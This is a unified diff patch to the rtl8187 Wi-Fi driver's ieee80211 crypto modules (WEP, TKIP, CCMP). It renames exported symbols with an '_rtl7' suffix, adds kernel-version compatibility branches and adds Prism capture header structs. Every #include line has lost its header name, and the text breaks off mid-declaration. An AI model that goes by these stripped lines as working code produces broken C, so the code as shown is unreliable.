rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-03-05 00:31:52.275341919 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-03-05 00:31:52.295342221 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-03-05 00:31:49.235296061 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-03-05 00:31:52.355343126 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-03-05 00:31:52.395343729 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-03-05 00:31:49.235296061 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern 